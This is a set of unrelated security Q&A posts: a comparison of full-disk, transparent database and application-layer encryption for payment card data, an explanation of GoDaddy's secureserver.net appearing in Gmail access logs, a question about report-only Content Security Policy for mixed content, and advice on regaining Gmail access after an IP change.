Once the files are unlocked and the database up and running, the attacker can query cards out of the database using SQL.  They can copy the decrypted database files off the system and peruse their contents.  They can even use something like 'strings' and 'grep' to pull information out of the files from the command line.

Full-disk encryption protects the data if someone steals the server or the disk.  It does not protect from an attacker who gains access to the running system.  It does encourage dual control (DBAs might require IT to unlock the disk for them).

Transparent Data Encryption

TDE is similar to full-disk encryption, except that it it maintained at the DBMS (Database) level rather than the OS level.  And it has the same weakness; once the database is spun up and the keys provided to unlock the data, the data is available to users, and abusers, of the system as if it were not encrypted.

Once the database is up and running, the attacker can query cards out of the database using SQL.  That's the whole "Transparent" thing.

Unlike full-disk encryption, TDE often puts both the keys and the encrypted data into the hands of the DBAs.

Application-layer Encryption

Under Application-layer Encryption, the encryption keys are held by the application, and sensitive data is stored encrypted in the database.  Since the database and the application code usually run on different servers, this provides a layer of separation - an attacker who gains complete control over the database server cannot decrypt the data unless they also compromise an application server.

Data is decrypted in a "just in time" fashion; only discrete card numbers are decrypted as needed.  Unlike the other two options, the entire data set is not sitting around decrypted in a running system.

An attacker needs to compromise both the keys and the data, or compromise a decryption process (e.g., if they can run the application program that pulls a card out and decrypts it, then they can pull and decrypt until they're caught).

Application-layer systems support the advantage that decryption can be logged by the application.  If the attacker compromises a process rather than a key, they may generate a logging trail which makes their activity obvious.   If it is normal to see 200,000 decrypts an hour, and that jumps to 2,000,000, something's going on.

Dual-control is somewhat standard with Application-layer encryption.

So - three different methods, some stronger, some weaker.  All meet PCI requirements.  All can be compromised by an attacker, because all allow legitimate users to access sensitive data.


Why did secureserver.net (GoDaddy) access my Gmail account? Why did secureserver.net (GoDaddy) access my Gmail account?

One day later... Gmail reports suspicious activity... really?

So... Why did secureserver.net (GoDaddy) access my Gmail account?

Godaddy-hosted email (if you choose to host your email through godaddy) is hosted under the "secureserver.net" domain. In fact, the addresses you configure into your mail client are pop.secureserver.net, imap.secureserver.net, smtp.secureserver.net, etc.

If you configured your Godaddy webmail (for perhaps some other domain) to pull in mail from your Gmail account, then you will see it show up as going to secureserver.net rather than whatever domain your mail is registered under.

And if you didn't do it, someone else did. Hackers frequently go through intermediary services to mask their identity. This is as likely an answer as any.

So... change your password


CSP to report HTTP resources? I would like to start introducing a CSP on a site. I would like to start by adding a report only CSP and only reporting on mixed content, for example when an images is loading from HTTP instead of HTTPS.

I have tired the three following:

<meta http_equiv="Content-Security-Policy-Report-Only" content="upgrade-insecure-requests; report-uri https://example.report-uri.com/r/d/csp/reportOnly"/>
<meta http_equiv="Content-Security-Policy-Report-Only" content="img-src https:; report-uri https://example.report-uri.com/r/d/csp/reportOnly">
<meta http_equiv="Content-Security-Policy-Report-Only" content="block-all-mixed-content; report-uri https://example.report-uri.com/r/d/csp/reportOnly">

But none of these are reporting the CSP violation to the report-uri URL.

How can I create a CSP to only report content (images) that are loading from HTTP?

Still not sure why this is failing but I was able to find that if I added a CSP heading to the site set to allow everything and then set a meta tag to disallow what I wanted to disallow that worked.


How to prevent getting locked out of gmail with a dynamic IP? My ISP recently changed the range of IPs they assign to customers which triggered gmails "hacker alarm" or something and prevents me from logging in.
The recovery options they provide (recovery mail or phone via text) don't work either as after trying those it simply says "Sorry, we can't verify its you".
Is there any way to bypass this ridiculously broken system?
I found this question but the provided link doesn't seem to work (Gmail account hack prevention and recovery)

I would suggest you try using a device in which you are already authenticated. Such as a phone which is using your 3/4G network for example. Once accessing the Google account area you should be able to configure your security settings from their (i.e. correctly update your multi-factor authentication options)

Might be worth once access is gained taking a copy of the printable one time use access codes they offer. They are ideal for situations like the one you have.